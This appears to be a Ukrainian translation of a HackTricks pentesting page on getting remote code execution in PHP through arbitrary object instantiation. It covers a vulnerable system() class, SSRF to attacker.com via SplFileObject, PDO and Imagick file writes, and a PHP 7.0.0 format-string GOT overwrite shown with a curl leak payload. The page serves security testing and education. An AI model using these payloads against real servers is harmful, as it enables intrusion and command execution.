hacktricks/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

8.7 KiB
Raw Blame History

PHP - RCE зловживання створенням об'єктів: new $_GET"a"

{{#include ../../../banners/hacktricks-training.md}}

Це, по суті, підсумок https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Вступ

Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"]), може призвести до Remote Code Execution (RCE), як детально описано в writeup. Цей документ висвітлює різні стратегії досягнення RCE.

RCE через користувацькі класи або автозавантаження

Синтаксис new $a($b) використовується для інстанціювання об'єкта, де $a представляє ім'я класу, а $b — перший аргумент, переданий конструктору. Ці змінні можуть надходити з введення користувача, наприклад GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть мати інші типи.

Розглянемо фрагмент коду нижче:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

У цьому випадку встановлення $a в App або App2, а $bу системну команду (наприклад, uname -a) призводить до виконання цієї команди.

Функції автозавантаження можуть бути використані, якщо такі класи безпосередньо недоступні. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register або __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Поведінка автозавантаження змінюється залежно від версії PHP, що дає різні можливості для RCE.

RCE через вбудовані класи PHP

Якщо відсутні кастомні класи або автозавантажувачі, вбудованих класів PHP може бути достатньо для RCE. Кількість таких класів коливається від 100 до 200, залежно від версії PHP та встановлених розширень. Їх можна перелічити за допомогою get_declared_classes().

Конструктори, які становлять інтерес, можна визначити через Reflection API, як показано в наведеному прикладі та за посиланням https://3v4l.org/2JEGF.

RCE via specific methods includes:

SSRF + Phar Deserialization

Клас SplFileObject дозволяє SSRF через свій конструктор, дозволяючи підключатися до будь-якого URL:

new SplFileObject('http://attacker.com/');

SSRF може призвести до атак десеріалізації в версіях PHP до 8.0 з використанням протоколу Phar.

Exploiting PDOs

Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, потенційно дозволяючи створення файлів або інші взаємодії:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори SoapClient та SimpleXMLElement, залежно від версії libxml2.

RCE via Imagick Extension

Під час аналізу залежностей проєкту було виявлено, що Imagick можна використати для виконання команд шляхом створення нових об'єктів. Це створює можливість експлуатації вразливостей.

VID parser

Виявлено, що VID parser може записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell у веб-доступній директорії й досягнення Remote Code Execution (RCE).

VID Parser + File Upload

Зауважимо, що PHP тимчасово зберігає завантажені файли у /tmp/phpXXXXXX. VID parser в Imagick, використовуючи протокол msl, може обробляти wildcard'и у шляхах до файлів, що дозволяє перемістити тимчасовий файл у вибране місце. Цей метод дає додатковий шлях для довільного запису файлів у файлову систему.

PHP Crash + Brute Force

Метод, описаний у original writeup, пов'язаний із завантаженням файлів, які викликають крах сервера до їх видалення. Брутфорсом імені тимчасового файлу Imagick стає можливим виконати довільний PHP-код. Однак цей підхід виявився ефективним лише в застарілій версії ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Коли ім'я класу контролюється введенням користувача (наприклад, new $_GET['model']()), у PHP 7.0.0 під час рефакторингу Throwable з'явився тимчасовий баг, коли рушій помилково трактував ім'я класу як printf format string під час резолюції. Це дозволяє класичні printf-style примітиви всередині PHP: leaks з %p, контроль кількості записів через width specifiers, та довільні записи з %n по in-process вказівниках (наприклад, GOT entries у ELF-білдах).

Мінімальний патерн відтворення вразливості:

<?php
$model = $_GET['model'];
$object = new $model();

Схема експлуатації (з посилання):

  • Leak адреси через %p у імені класу, щоб знайти записувану ціль:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Використовуйте позиційні параметри та specifiers ширини для встановлення точної кількості байтів, потім %n щоб записати це значення в адресу, доступну на стеку, націлюючись на слот GOT (наприклад, free) щоб частково перезаписати його на system.
  • Спровокуйте виклик захопленої функції, передавши ім'я класу, що містить shell pipe, щоб потрапити в system("id").

Примітки:

  • Працює тільки на PHP 7.0.0 (Bug #71105); виправлено у наступних релізах. Критичність: критична при наявності довільної інстанціації класів.
  • Типові payloads поєднують багато %p, щоб пройти стек, потім %.<width>d%<pos>$n, щоб здійснити часткове перезаписування.

Посилання

{{#include ../../../banners/hacktricks-training.md}}